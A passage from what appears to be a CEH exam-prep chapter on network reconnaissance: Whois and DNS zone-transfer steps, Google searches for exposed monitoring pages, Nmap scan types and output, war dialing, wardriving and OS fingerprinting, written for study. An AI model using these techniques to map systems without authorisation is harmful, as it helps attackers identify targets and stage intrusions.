For those of you who might not be Cisco gurus, those are encrypted passwords. Sure, they are encrypted, but given enough time, there's the possibility that they might be cracked. Others of you who say that it's only router passwords might be right, but let's hope that the administrator doesn't reuse passwords as many people do. As you can see, you can gain additional information about an organization and its technical strengths just by uncovering a few USENET posts.

Insecure Applications

Most applications really aren't bad. Some are more insecure than others, but when deployed with layered controls and properly patched, risk can be minimized. When defense in depth isn't used, problems start to arise. Defense in depth is the layering of one defensive mechanism after another. A case in point is the program Big Brother (www.bb4.com).

Big Brother is a program that can be used to monitor computer equipment. It can monitor and report the status of items, such as the central processing unit (CPU) utilization, disk usage, ssh status, http status, pop3 status, telnet status, and so on. Unlike Simple Network Monitoring Protocol(SNMP) in which information is just collected and devices polled, Big Brother can collect this information and forward it to a central web page or location. This makes it a valuable tool to the administrator in that it provides one central location to review network status and indicates status with a simple red/green interface. Problems are indicated in red, whereas operational systems are indicated in green. You might be asking yourself, okay, so what's the problem with all this?

The problem is in how the administrator might have set up or configured Big Brother. Big Brother doesn't need to run as root; therefore, the installation guide recommends that the user create a user named bb and configure that user with user privileges. Unless the administrator has changed this, you now know a valid user account on a system. Because the account isn't used by a human, it might have an easy password or one that is not changed often. The makers of Big Brother also recommend that the web page used to store the information Big Brother generates be password protected. After all, this is extremely sensitive information. If this information has not been protected, all someone must do is go to www.google.com and search for "green:big brother." If you scroll through the lists of sites and simply click on one, you'll be taken to a page that displays systems, IP addresses, services, and versions It's only taken a few minutes for an attacker to gather this type of information, and it's completely legal. These pages are posted so that the entire world can read them. Security professionals should always be concerned about what kind of information is posted on the Web and who can access it.

Registrar Query

Not long ago, searching for domain name information was much easier. There were only a few places to obtain domain names, and the activities of spammers and hackers had yet to cause the Internet Assigned Numbers Authority (IANA) to restrict the release of this information. Today, The Internet Corporation for Assigned Names and Numbers (ICANN) is the primary body charged with management of IP address space allocation, protocol parameter assignment, and domain name system management. Its role is really that of overall management, as domain name registration is handled by a number of competing firms that offer various value added services. These include firms such as networksolutions.com, register.com, godaddy.com, and tucows.com. There is also a series of Regional Internet Registries (RIR) that manage, distribute, and register public IP addresses within their respective regions. There are four primary RIRs with a fifth planned to support Africa. These are shown below

RIRs and Their Area of Control
RIR

Region of Control

ARIN

North and South America and SubSaharan Africa

APNIC

Asia and Pacific

RIPE

Europe, Middle East, and parts of Africa

LACNIC

Latin America and the Caribbean

AfriNIC

Planned RIR to support Africa

The primary tool to navigate these databases is Whois. Whois is a utility that interrogates the Internet domain name administration system and returns the domain ownership, address, location, phone number, and other details about a specified domain name. Whois is the primary tool used to query Domain Name Services (DNS). If you're performing this information gathering from a Linux computer, the good news is Whois is built in. From the Linux prompt, users can type in whois domainname.com or whois? to get a list of various options. Windows users are not as fortunate as Linux users because Windows does not have a built-in Whois client. Windows users will have to use a third-party tool or website to obtain Whois information. Onetool that a Windows user can use to perform Whois lookups is Sam Spade. It can be downloaded from www.samspade.org/ssw/download.html. Sam Spade contains a lot more utilities that just Whois, such as ping, finger, and traceroute. There's also a variety of websites that you can use to obtain Whois information. Some of these include

Regardless of the tool, the goal is to obtain registrar information. As an example, the following listing shows the results after www.samspade.org is queried for information on www.examcram.com:

Code:

Registrant: 
 Pearson Technology Centre 
 Kenneth Simmons 
 200 Old Tappan Rd . 
 Old Tappan, NJ 07675 USA 
 Email: billing@superlibrary.com 
Phone: 001-201-7846187 
 Registrar Name....: REGISTER.COM, INC. 
 Registrar Whois...: whois.register.com 
 Registrar Homepage: www.register.com 
DNS Servers: 
usrxdns1.pearsontc.com 
 oldtxdns2.pearsontc.com

NOTE

A domain proxy is one way that organizations can protect their identity while still complying with laws that require domain ownership to be public information. Domain proxies work by applying anonymous contact information as well an anonymous email address. This information is displayed when someone performs a domain Whois. The proxy then forwards any emails or contact information that might come to those addresses on to you.

This information provides a contact person, address, phone number, and DNS servers. A hacker skilled in the art of social engineering might use this information to call the organization and pretend to be Kenneth, or he might use the phone number to war dial a range of phone numbers looking for modems.

DNS Enumeration

The attacker has also identified the names of the DNS servers. DNS servers might be targeted for zone transfers. A zone transfer is the mechanism used by DNS servers to update each other by transferring the contents of their database. DNS is structured as a hierarchy so that when you request DNS information, your request is passed up the hierarchy until a DNS server is found that can resolve the domain name request. You can get a better idea of how DNS is structured by examining Figure 3.5. There is a total of 13 DNS root servers.

What's left at this step is to try and gather additional information from the organization's DNS servers. The primary tool to query DNS servers is nslookup. Nslookup provides machine name and address information. Both Linux and Windows have nslookup clients. Nslookup is used by typing nslookup from the command line followed by an IP address or a machine name. Doing so will cause nslookup to return the name, all known IP addresses, and all known CNAMES for the identified machine. Nslookup queries DNS servers for machine name and address information. Using nslookup is rather straightforward. Let's look at an example in which nslookup is used to find out the IP addresses of Google's web servers. By entering nslookup www.google.com, the following response is obtained:

Code:

C:\>nslookup www.google.com 
Server: dnsr1.sbcglobal.net 
Address: 68.94.156.1 
Non-authoritative answer: 
Name:  www.l.google.com 
Addresses: 64.233.187.99, 64.233.187.104 
Aliases: www.google.com

The first two lines of output say which DNS servers are being queried. In this case, it's dnsr1.sbcglobal.net in Texas. The non-authoritative answer lists two IP addresses for the Google web servers. Responses from non-authoritative servers do not contain copies of any domains. They have a cache file that is constructed from all the DNS lookups it has performed in the past for which it has gotten an authoritative response.

Nslookup can also be used in an interactive mode by just typing nslookup at the command prompt. In interactive mode, the user will be given a prompt of >; at which point, the user can enter a variety of options, including attempts to perform a zone transfer.

DNS normally moves information from one DNS server to another through the DNS zone transfer process. If a domain contains more than one name server, only one of these servers will be the primary. Any other servers in the domain will be secondary servers. Zone transfers are much like the DHCP process in that each is a four-step process. DNS zone transfers function as follows:

1. The secondary name server starts the process by requesting the SOA record from the primary name server.

2. The primary then checks the list of authorized servers, and if the secondary server's name is on that list, the SOA record is sent.

3. The secondary must then check the SOA record to see if there is a match against the SOA it already maintains. If the SOA is a match, the process stops here; however, if the SOA has a serial number that is higher, the secondary will need an update. The serial number indicates if changes were made since the last time the secondary server synchronized with the primary server. If an update is required, the secondary name server will send an All Zone Transfer (AXFR) request to the primary server.

4. Upon receipt of the AXFR, the primary server will send the entire zone file to the secondary name server.

Some common DNS resource record names and types are shown in Table 3.3.

TABLE 3.3 DNS Records and Types

Code:

Record Name         | Record Type  | Purpose 
Host                | A            | Maps a domain name to an IP address 
Pointer             | PTR          | Maps an IP address to a domain name 
Name Server         | NS           | Configures settings for zone transfers and record caching 
Start of Authority  | SOA          | Configures settings for zone transfers and record caching 
Service Locator     | SRV          | Used to locate services in the network 
Mail                | MX           | Used to identify SMTP servers

EXAM ALERT

The SOA contains the timeout value, which can be used by a hacker to tell how long any DNS poisoning would last. The TTL value is the last value within the SOA.

A zone transfer is unlike a normal lookup in that the user is attempting to retrieve a copy of the entire zone file for a domain from a DNS server. This can provide a hacker or pen tester with a wealth of information. This is not something that the target organization should be allowing. Unlike lookups that primarily occur on UDP 53, unless the response is greater than 512 bytes, zone transfers use TCP 53. To attempt a zone transfer, you must be connected to a DNS server that is the authoritative server for that zone. Remember the nslookup information we previously gathered? It's shown here again for your convenience.

Code:

Registrant: 
 Pearson Technology Centre 
 Kenneth Simmons 
 200 Old Tappan Rd . 
 Old Tappan, NJ 07675 USA 
 Email: billing@superlibrary.com 
Phone: 001-201-7846187 
 Registrar Name....: REGISTER.COM, INC. 
 Registrar Whois...: whois.register.com 
 Registrar Homepage: www.register.com 
DNS Servers: 
 usrxdns1.pearsontc.com 
 oldtxdns2.pearsontc.com

Review the last two entries. Both usrxdns1.pearsontc.com and oldtxdns2.pearsontc.com are the DNS authoritative servers for ExamCram.com. These are the addresses that an attacker will target to attempt a zone transfer. The steps to try and force a zone transfer are shown here:

1. nslookup-Enter nslookup from the command line.
2. server <ipaddress>-Enter the IP address of the authoritative server for that zone.
3. set type = any-Tells nslookup to query for any record.
4. ls -d <domain.com>-Domain.com is the name of the targeted domain of the final step that performs the zone transfer.

One of two things will happen at this point; either you will receive an error message indicating that the transfer was unsuccessful, or you will be returned a wealth of information, as shown in the following:

Code:

C:\WINNT\system32>nslookup 
Default Server: dnsr1.sbcglobal.net 
Address: 128.112.3.12 

server 172.6.1.114 
set type=any 
ls -d example.com 

example.com.    SOA hostmaster.sbc.net (950849 21600 3600 1728000 3600) 
example.com.    NS   auth100.ns.sbc.net 
example.com.    NS   auth110.ns.sbc.net 
example.com.    A   10.14.229.23 
example.com.    MX   10  dallassmtpr1.example.com 
example.com.    MX   20  dallassmtpr2.example.com 
example.com.    MX   30  lasmtpr1.example.com 
lasmtpr1      A   192.172.243.240 
dallassmtpr1    A   192.172.163.9 
dallaslink2     A   192.172.161.4 
spamassassin    A   192.172.170.49 
dallassmtpr2    A   192.172.163.7 
dallasextra     A   192.172.170.17 
dallasgate     A   192.172.163.22 
lalink       A   172.16.208.249 
dallassmtp1     A   192.172.170.49 
nygate       A   192.172.3.250 
www         A   10.49.229.203 
dallassmtp     MX   10  dallassmtpr1.example.com 
dallassmtp     MX   20  dallassmtpr2.example.com 
dallassmtp     MX   30  lasmtpr1.example.com

NOTE

Dig is another tool that can be used to provide this type of information. It's available for Linux and for Windows. Dig is a powerful tool that can be used to investigate the DNS system.

This type of information should not be made available to just anyone. Hackers can use this to find out what other servers are running on the network, and it can help them map the network and formulate what types of attacks to launch. Notice the first line that has example.comlisted previously. Observe the final value of 3600on that line. That is the TTL value discussed previously which would inform a hacker as to how long DNS poisoning would last. 3,600 seconds is 60 minutes. Zone transfers are intended for use by secondary DNS servers to synchronize with their primary DNS server. You should make sure that only specific IP addresses are allowed to request zone transfers. Although most Operating Systems restrict this by default, Windows 2000 did not. So, be aware of this if any 2000 servers are still in your network.

NOTE

All DNS servers should be tested. It is very often the case in which the primary has tight security, but the secondaries will allow zone transfers.

Determining the Network Range

Objective:
Locate the network range

Now that the pen test team has been able to locate name, phone numbers, addresses, some server names, and IP addresses, it's important to find out what range of IP addresses are available for scanning and further enumeration. If you take the IP address of a web server discovered earlier and enter it into the Whois lookup at www.arin.net, the network's range can be determined. As an example, 192.17.170.17 was entered into the ARIN Whois, and the following information was received:

Code:

OrgName:  target network 
OrgID:   Target-2 
Address:  1313 Mockingbird Road 
City:    Anytown 
StateProv: Tx 
PostalCode: 72341 
Country:  US 
ReferralServer: rwhois://rwhois.exodus.net:4321/ 
NetRange:  192.17.12.0 - 192.17.12.255 
CIDR:    192.17.0.0/24 
NetName:  SAVVIS 
NetHandle: NET-192-17-12-0-1 
Parent:   NET-192-0-0-0-0

This means that the target network has 254 total addresses. The attacker can now focus his efforts on the range from 192.17.12.1 to 192.17.12.254 /24. If these results don't prove satisfactory, traceroute can be used for additional mapping.

Traceroute

Objective:
Specify how traceroute works

The traceroute utility is used to determine the path to a target computer. Just as with nslookup, traceroute is available on Windows and UNIX platforms. In Windows, it is known as tracert because of 8.3 legacy filename constraints remaining from DOS. Traceroute was originally developed by Van Jacobson to view the path a packet follows from its source to its destination. Traceroute owes its functionality to the IP header time-to-live(TTL) field. You might remember from the discussion in lesson 2, "The Technical Foundations of Hacking," that the TTL field is used to limit IP datagram's. Without a TTL, some IP datagram's might travel the Internet forever as there would be no means of timeout. TTL functions as a decrementing counter. Each hop that a datagram passes through reduces the TTL field by one. If the TTL value reaches 0, the datagram is discarded and a time exceeded in transit Internet Control Message Protocol (ICMP) message is created to inform the source of the failure. Linux traceroute is based on UDP, whereas Windows uses ICMP.

To get a better idea of how this works, let's take a look at how Windows would process a traceroute. For this example, say that the target is three hops away. Windows would send out a packet with a TTL of 1. Upon reaching the first router, the packet TTL value would be decremented to 0, which would illicit a time exceeded in transit error message. This message would be sent back to the sender to indicate that the packet did not reach the remote host. Receipt of the message would inform Windows that it had yet to reach its destination, and the IP of the device in which the datagram timed out would be displayed. Next, Windows would increase the TTL to a value of 2. This datagram would make it through the first router, where the TTL value would be decremented to 1. Then it would make it through the second router; at which time, the TTL value would be decremented to 0 and the packet would expire. Therefore, the second router would create a time exceeded in transit error message and forward it to the original source. The IP address of this device would next be displayed on the user's computer. Finally, the TTL would be increased to 3. This datagram would easily make it past the first and second hop and arrive at the third hop. Because the third hop is the last hop before the target, the router would forward the packet to the destination and the target would issue anormal ICMP ping response. The output of this traceroute can be seen here:

Code:

C:\>tracert 192.168.1.200 
Tracing route to 192.168.1.200: 
1  10 ms  <10 ms  <10 ms 
2  10 ms  10 ms  20 ms 
3  20 ms  20 ms  20 ms 192.168.1.200 
Trace complete.

Linux-based versions of traceroute work much the same way but use UDP. Traceroute sends these UDP packets targeted to high order port numbers that nothing should be listening on. Just as described previously, the TTL is increased until the target device is reached. Because traceroute is using a high order UDP port, typically 33434, the host should ignore the packets after generating port unreachable messages. These ICMP port unreachable messages are used by traceroute to notify the source that the destination has been reached.

It's advisable to check out more than one version of traceroute if you don't get the required results. Some techniques can also be used to try and slip traceroute passed a firewall or filtering device. When UDP and ICMP are not allowed on the remote gateway, TCPTraceroute can be used. Another unique technique was developed by Michael Schiffman, who created a patch called traceroute.diff that allows you to specify the port that traceroute will use. With this handy tool, you could easily direct traceroute to use UDP port 53. Because that port is used for DNS queries, there's a good chance that it could be used to slip past the firewall. If you're looking for a GUI program to perform traceroute with, several are available, which are described here:

NeoTrace

NeoTrace is a powerful tool for mapping path information. The graphical display shows you the route between you and the remote site, including all intermediate nodes and their registrant information. NeoTrace is probably the most well-known GUI traceroute program. Along with a graphical map, it also displays information on each node such as IP address, contact information, and location. NeoTrace can be seen in Figure 3.6. That trace shows the results of a traceroute to Microsoft.com. Just remember that NeoTrace builds from provided information that is entered into the routers, and it might not always be accurate.

Trout

Trout is another visual traceroute and Whois program. What's great about this program is its speed. Unlike traditional traceroute programs, trout performs parallel pinging. By sending packets with more than one TTL at a time, it can quickly determine the path to a targeted device.

VisualRoute

VisualRoute is another graphical traceroute for Windows. VisualRoute not only shows a graphical world map that displays the path packets are taking, but it also lists information for each hop, including IP address, node name, and geographical location.

Traceroute and ping are useful tools for identifying active systems, mapping their location, and learning more about their location. We will learn more about these tools, after this lesson in an exercise.

Identifying Active Machines

Objective:
Identify active machines

Attackers will want to know if machines are alive before they attempt to attack. One of the most basic methods of identifying active machines is to perform a ping sweep. Although ping is found on just about every system running TCP/IP, it has been restricted by many organizations. Ping uses ICMP and works by sending an echo request to a system and waiting for the target to send an echo reply back. If the target device is unreachable, a request time out is returned. Ping is a useful tool to identify active machines and to measure the speed at which packets are moved from one host to another or to get details like the TTL. Figure 3.7 shows a ping capture from a Windows computer. If you take a moment to examine the ASCII decode in the bottom-left corner, you will notice that the data in the ping packet is composed of the alphabet, which is unlike a Linux ping, which would contain numeric values. That's because the RFC that governs ping doesn't specify what's carried in the packet as payload. Vendors fill in this padding as they see fit. Unfortunately, this can also serve hackers as a covert channel. However, hackers can use a variety of programs to place their own information in place of the normal padding. Then what appears to be normal pings are actually a series of messages entering and leaving the network.

Ping does have a couple of drawbacks: First, only one system at a time is pinged and second, not all networks allow ping. To ping a large amount of hosts, a ping sweep is usually performed. Programs that perform ping sweeps typically sweep through a range of devices to determine which ones are active. Some of the programs that will perform ping sweeps include

Angry IP Scanner
Pinger
WS_Ping_ProPack
Network scan tools
Super Scan
Nmap

Finding Open Ports and Access Points

Objective:
Understand how to map open ports and identify their underlying applications

With knowledge of the network range and a list of active devices, the next step is to identify open ports and access points. Identifying open ports will go a long way toward potential attack vectors. There is also the possibility of using war dialing programs to find ways around an organization's firewall. If the organization is located close by, the attacker might war drive the area to look for open access points.

Port Scanning

Objective:
Describe the differences between TCP and UDP scanning

Port scanning is the process of connecting to TCP and UDP ports for the purpose of finding what services and applications are running on the target device. After running applications, open ports and services are discovered, the hacker can then determine the best way to attack the system.

As discussed in lesson 2, there are a total of 65,535 TCP and UDP ports. These port numbers are used to identify a specific process that a message is coming from or going to. Some

common port numbers are shown in Table 3.6.

TABLE 3.6 Common Ports and Protocols

Code:

Port      | Service | Protocol 
20/21     | FTP     | TCP 
22        | SSH     | TCP 
23        | Telnet  | TCP 
25        | SMTP    | TCP 
53        | DNS     | TCP/UDP 
69        | TFTP    | UDP 
80        | HTTP    | TCP 
110       | POP3    | TCP 
135       | RPC     | TCP 
161/162   | SNMP    | UDP 
1433/1434 | MSSQL   | TCP

As you have probably noticed, some of these applications run on TCP, whereas others run on UDP. Although it is certainly possible to scan for all 65,535 TCP and 65,535 UDP ports, many hackers will not. They will concentrate on the first 1,024 ports. These well-known ports are where we find most of the commonly used applications. A list of well-known ports can be found at www.iana.org/assignments/port-numbers. Now, this is not to say that high order ports should be totally ignored because hackers might break into a system and open a high order port, such as 31337, to use as a backdoor. So, is one protocol easier to scan for than the other? Well, the answer to that question is yes. TCP offers more opportunity for the hacker to manipulate than UDP. Let's take a look at why.

TCP offers robust communication and is considered a connection protocol. TCP establishes a connection by using what is called a 3-way handshake. Those three steps proceed as follows:

1. The client sends the server a TCP packet with the sequence number flag(SYN Flag) set and an Initial Sequence Number (ISN).

2. The server replies by sending a packet with the SYN/ACK flag set to the client. The synchronize sequence number flag informs the client that it would like to communicate with it, whereas the acknowledgement flag informs the client that it received its initial packet. The acknowledgement number will be one digit higher than the client's ISN. The server will generate an ISN as well to keep track of every byte sent to the client.

3. When the client receives the server's packet, it creates an ACK packet to acknowledge that the data has been received from the server. At this point, communication can begin.

The TCP header containsa one-byte field for the flags. These flags can be seen in Table 3.7.

TABLE 3.7 TCP Flag Types

Code:

Flag | Purpose 
SYN  | Synchronize and Initial Sequence Number (ISN) 
ACK  | Acknowledgement of packets received 
FIN  | Final data flag used during the 4-step shutdown of a session 
RST  | Reset bit used to close an abnormal connection 
PSH  | Push data bit used to signal that data in the packet should be pushed to the beginning of the queue. Usually indicates an urgent message.
URG  | Urgent data bit used to signify that urgent control characters are present in this packet that should have priority. 
Port | Service Protocol

At the conclusion of communication, TCP terminates the session by using a 4-step shutdown.

Those four steps proceed as follows:

1. The client sends the server a packet with the FIN/ACK flags set.
2. The server sends a packet ACK flag set to acknowledge the clients packet.
3. The server then generates another packet with the FIN/ACK flags set to inform the client that it also is ready to conclude the session.
4. The client sends the server a packet with the ACK flag set to conclude the session.

The TCP system of communication makes for robust communication but also allows a hacker many ways to craft packets in an attempt to coax a server to respond or to try and avoid detection of an intrusion detection system(IDS). Many of these methods are built into Nmap and other port scanning tools, but before taking a look at those tools, some of the more popular port scanning techniques are listed here:

TCP Connect scan

This type of scan is the most reliable, although it is also the most detectable. It is easily logged and detected because a full connection is established. Open ports reply with a SYN/ACK, whereas closed ports respond with an RST/ACK.

TCP SYN scan

This type of scan is known as half open because a full TCP three way connection is not established. This type of scan was originally developed to be stealthy and evade IDS systems although most now detect it. Open ports reply with a SYN/ACK, whereas closed ports respond with a RST/ACK.

TCP FIN scan

Forget trying to set up a connection; this technique jumps straight to the shutdown. This type of scan sends a FIN packet to the target port. Closed ports should send back an RST. This technique is usually effective only on UNIX devices.

TCP NULL scan

Sure, there should be some type of flag in the packet, but a NULL scan sends a packet with no flags set. If the OS has implemented TCP per RFC 793, closed ports will return an RST.

TCP ACK scan

This scan attempts to determine access control list (ACL) rule sets or identify if stateless inspection is being used. If an ICMP destination unreachable, communication administrative prohibited message is returned, the port is considered to be filtered.

TCP XMAS scan

Sorry, thereare no Christmas presents here, just a port scan that has toggled on the FIN, URG, and PSH flags. Closed ports should return an RST.

TIP
You will need to know common scan types, such as full and stealth, to successfully pass the exam.

Certain OSes have taken some liberties when applying the TCP/IP RFCs and do things their own way. Because of this, not all scan types will work against all systems. So, results will vary, but Full Connect scans and SYN scans should work against all systems.

These are not the only types of possible scans; however, they are the more popular types. A few others worth briefly noting include

IDLE scan

Uses an idlehost to bounce packets off of and make the scan harder to trace. It is considered the only totally stealth scan.

FTP Bounce scan

Uses anFTP server to bounce packets off of and make the scan harder to trace.

RPC scan

Attempts to determine if open ports are RPC ports. Window scan Similar to an ACK scan, but can sometimes determine open ports.

Now let's look at UDP scans. UDP is unlike TCP. Although TCP is built on robust connections, UDP is based on speed. With TCP, the hacker has the ability to manipulate flags in an attempt to generate a TCP response or an error message from ICMP. UDP does not have flags, nor does UDP issue responses. It's a fire and forget protocol! The most you can hope for is a response from ICMP.

If the port is closed, ICMP will attempt to send an ICMP type 3 code 3 port unreachable message to the source of the UDP scan. But, if the network is blocking ICMP, no error message will be returned. Therefore, the response to the scans might simply be no response. If you are planning on doing UDP scans, plan for unreliable results.

Next some of the programs that can be used for port scanning are discussed.

Is Port Scanning Legal?

In 2000, two contractors ended up in a U.S. district court because of a dispute of the legality of port scanning. The plaintiff believed that port scanning is a crime, whereas the defendant believed that only by port scanning was he able to determine what ports were open and closed on the span of network he was responsible for. The U.S. district court judge ruled that port scanning was not illegal, as it does not cause damage. So, although port scanning is not a crime, you should still seek to obtain permission before scanning a network. Also, home users should review their service provider's terms and conditions before port scanning. Most cable companies prohibit port scanning and maintain the right to disconnect customers who perform such acts even when they are performing such activities with permission. Time Warner's policy states the following, "Please be aware that Time Warner Road Runner has received indications of port scanning from a machine connected to the cable modem on your Road Runner Internet connection. This violates the Road Runner AUP (Acceptable Use Policy). Please be aware that further violations of the Acceptable Usage Policy may result in the suspension or termination of your Time Warner Road Runner account."

Nmap

Objective:

Use tools such as Nmap to perform port scanning and know common Nmap switches Nmap was developed by a hacker named Fyodor Yarochkin. This popular application is available for Windows and Linux as a GUI and command-line program. It is probably the most widely used port scanner ever developed. It can do many types of scans and OS identification. It also allows you to control the speed of the scan from slow to insane. Its popularity can be seen by the fact that it's incorporated into other products and was even used in the movie The Matrix. Nmap with the help option is shown here so that you can review some of its many switches.

C:\nmap-3.93>nmap -h
Nmap 3.93 Usage: nmap [Scan Type(s)] [Options] <host or net list>
Some Common Scan Types ('*' options require root privileges)
* -sS TCP SYN stealth port scan (default if privileged (root))
-sT TCP connect() port scan (default for unprivileged users)
* -sU UDP port scan
-sP ping scan (Find any reachable machines)
* -sF,-sX,-sN Stealth FIN, Xmas, or Null scan (experts only)
-sV Version scan probes open ports determining service and app names/versions
-sR/-I RPC/Identd scan (use with other scan types)
Some Common Options (none are required, most can be combined):
* -O Use TCP/IP fingerprinting to guess remote operating system
-p <range> ports to scan. Example range: '1-1024,1080,6666,31337'
-F Only scans ports listed in nmap-services
-v Verbose. Its use is recommended. Use twice for greater effect.
-P0 Don't ping hosts (needed to scan www.microsoft.com and others)
* -Ddecoy_host1,decoy2[,...] Hide scan using many decoys
-6 scans via IPv6 rather than IPv4
-T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane > General timing policy
-n/-R Never do DNS resolution/Always resolve [default: sometimes resolve]
-oN/-oX/-oG <logfile> Output normal/XML/grepable scan logs to <logfile>
-iL <inputfile> Get targets from file; Use '-' for stdin
* -S <your_IP>/-e <devicename> Specify source address or network interface
--interactive Go into interactive mode (then press h for help)
--win_help Windows-specific features
Example: nmap -v -sS -O www.my.com 192.168.0.0/16 '192.88-90.*.*'
SEE THE MAN PAGE FOR MANY MORE OPTIONS, DESCRIPTIONS, AND EXAMPLES

TIP
To better understand Nmap and fully prepare for the CEH Exam, it's advisable to download and review Nmap's documentation. It can be found at www.insecure.org/nmap/data/nmap_manpage.html.

As can be seen from the output of the help menu in the previous listing, Nmap can run many types of scans. Nmap is considered a required tool for all ethical hackers. Nmap's output provides the open port's well-known service name, number, and protocol. They can either be open, closed, or filtered. If a port is open, it means that the target device will accept connections on that port. A closed port is not listening for connections, and a filtered port means that a firewall, filter, or other network device is guarding the port and preventing Nmap from fully probing it or determining its status. If a port is reported as unfiltered, it means that the port is closed and no firewall or router appears to be interfering with Nmap's attempts to determine its status. To run Nmap from the command line, type Nmap, followed by the switch, and then enter a single IP address or a range. For the example shown here, the -sT option was used, which performs a TCP full 3-step connection.

C:\nmap-3.93>nmap -sT 192.168.1.108
Starting nmap 3.93 ( http://www.insecure.org/nmap ) at 2005-10-05 23:42 Central
Daylight Time
Interesting ports on Server (192.168.1.108):
(The 1653 ports scanned but not shown below are in state: filtered)
PORT STATE SERVICE
80/tcp open http
139/tcp open netbios-ssn
515/tcp open printer
548/tcp open afpovertcp
Nmap run completed -- 1 IP address (1 host up) scanned in 420.475 seconds

Several interesting ports were found on this computer, including 80 and 139. A UDP scan performed with the -sUswitch returned the following results:

C:\nmap-3.93>nmap -sU 192.168.1.108
Starting nmap 3.93 ( http://www.insecure.org/nmap ) at 2005-10-05 23:47 Central
Daylight Time
Interesting ports on Server (192.168.1.108):
(The 1653 ports scanned but not shown below are in state: filtered)
PORT STATE SERVICE
69/udp open tftp
139/udp open netbios-ssn
Nmap run completed -- 1 IP address (1 host up) scanned in 843.713 seconds

Nmap also has a GUI version called NmapFE. Most of the options in NmapFe correspond directly to the command-line version. Some people call NmapFe the Nmap tutor because it displays the command-line syntax at the bottom of the GUI interface. It is no longer updated for Windows but is maintained for the Linux platform. This can be seen in Figure 3.8.

SuperScan

Version 4 of SuperScan is written to run on Windows XP and 2000. It's a versatile TCP/UDP port scanner, pinger, and hostname revolver. It can perform ping scans and port scans using a range of IP addresses, or it can scan a single host. It also has the capability to resolve or reverse-lookup IP addresses. It builds an easy-to-use HTML report that contains a complete breakdown of the hosts that were scanned. This includes information on each port and details about any banners that were found. It's free; therefore it is another tool that all ethical hackers should have. To get a better look at the interface, review Figure 3.9.

THC-Amap

THC-Amap is another example of scanning and banner grabbing. One problem that traditional scanning programs have is that not all services are ready and eager to give up the appropriate banner. For example, some services, such as SSL, expect a handshake. Amap handles this by storing a collection of responses that it can fire off at the port to interactively elicit it to respond. Another problem is that scanning programs sometimes make basic assumptions that might be flawed. Many port scanners assume that if a particular port is open, the default application for that port must be present. Amap probes these ports to find out what is really running there. Therefore, this tool excels at allowing a security professional to find services that might have been redirected from their standard ports. One technique is to use this program by taking the greppable format of nmap as an input to scan for those open services. Defeating or blocking Amap is not easy, although one technique would be to use a port knocking technique. Port knocking is similar to a secret handshake or combination. Only after inputting a set order of port connections can a connection be made.

Scanrand

Scanrand is part of a suiteof tools known as Paketto Keiretsu developed by Dan Kaminsky. Scanrand is a fast scanning tool, and what makes this tool so fast is that it uses a unique method of scanning TCP ports. Most TCP scanners take the approach of scanning one port at a time. After all, TCP is a stateful protocol, so traditional scanners must probe each port, wait for the response, store the connection in memory, and then move on. Traditional scanning is a serial process.

Scanrand implements stateless scanning. This parallel approach to scanning breaks the process into two distinct processes. One process sends out the requests at a high rate of speed, while the other independent process is left to sort out the incoming responses and figure out how it all matches up. The secret to the program's speed is in its use of inverse SYN cookies. Basically, Scanrand builds a hashed sequence number placed in the outgoing packet that can be identified upon return. This value contains information that identifies source IP, source port, destination IP, and destination port. If you're tasked with scanning a large number of IP addresses quickly, this is something you'll want to check out, as it is much faster than traditional scanning programs.

Port Knocking

Port knocking is a method of establishing a connection to a host that does not initially indicate that it has any open ports. Port knocking works by having the remote device send a series of connection attempts to a specific series of ports. It is somewhat analogous to a secret handshake. After the proper sequence of port knocking has been detected, the required port is opened and a connection is established. The advantage of using a port knocking technique is that hackers cannot easily identify open ports. The disadvantages include the fact that the technique does not harden the underlining application. Also, it isn't useful for publicly accessible services. Finally, anyone who has the ability to sniff the network traffic will be in possession of the appropriate knock sequence. www.portknocking.org is a good site to check out to learn more about this defensive technique.

War Dialers

War dialing has been around long before the days of broadband access and was actually popularized in the 1983 movie War Games. War dialing is the act of using a modem and software to scan for other systems with modems attached. War dialing is accomplished by dialing a range of phone numbers with the hope of getting one to respond with the appropriate tone. Modems are a tempting target for hackers because they offer them the opportunity to bypass the corporate firewall. A modem can be seen as a backdoor into the network.

Modems are still popular today with network administrators because they can be used for remote access, and they are useful for out-of-band management. After all, they are a low-cost network access alternative if normal network access goes down. The problem is that many of these modems have no authentication or weak authentication at best. If you're planning on war dialing as part of a pen test, you want to make sure and check the laws in your area. Some states have laws that make it illegal to place a call without the intent to communicate. Two of the most well-known war dialing tools include

ToneLoc

A war dialing program that looks for dial tones by randomly dialing numbers or dialing within a range. It can also look for a carrier frequency of a modem or fax. ToneLoc uses an input file that contains the area codes and number ranges you want to have it dial.

PhoneSweep

A commercial grade war dialing program that can support multiple lines at once.

THC-Scan

An older DOS-based program that can use a modem to dial ranges of numbers to search for a carrier frequency from a modem or fax.

Wardriving

Wardriving is named after wardialing as it is the process of looking for open access points. Many pen tests contain some type of war driving activity. The goal is to identify open or rogue access points. Even if the organization has secured it wireless access points, there is always the possibility that employees have installed their own access points without the company's permission. Unsecured wireless access points can be a danger to organizations because much like modems, they offer the hacker a way into the network that might bypass the firewall. A whole host of security tools have been released for Windows and Linux over the last few years that can be used to probe wireless equipment. Some basic tools that hackers and legitimate pen testers probably have include

Kismit

802.11 wireless network detector, sniffer, and intrusion detection system.

Netstumbler

802.11 wireless network detector, also available for Mac and handhelds.

Airsnort

802.11b wireless cracking tool.

Airsnare

An intrusion detection system to help you monitor your 802.11 wireless network. It can notify you as soon as a machine connects to your wireless network that is not listed as an approved MAC address.

OS Fingerprinting

Objectives:
Describe passive fingerprinting
State the various ways that active fingerprinting tools work

At this point in the information gathering process, the hacker has made some real headway. IP addresses, active systems, and open ports have been identified. Although the hacker might not yet know the type of systems he is dealing with, he is getting close. There are two ways in which the hacker can attempt to identify the targeted devices. The hacker's first choice is passive fingerprinting. The hacker's second choice is to perform active fingerprinting, which basically sends malformed packets to the target in hope of eliciting a response that will identify it. Although active fingerprinting is more accurate, it is not as stealthy as passive fingerprinting.

Passive fingerprinting is really sniffing, as the hacker is sniffing packets as they come by. These packets are examined for certain characteristics that can be pointed out to determine the OS.

Four commonly examined items that are used to fingerprint the OS include

The IP TTL value

Different OSes set the TTL to unique values on outbound packets.

The TCP Window Size

OS vendors use different values for the initial window size.

The IP DF Option

Not all OS vendors handle fragmentation in the same way.

The IP Type of Service (TOS) Option

TOS is a three-bit field that controls the priority of specific packets. Again, not all vendors implement this option in the same way.

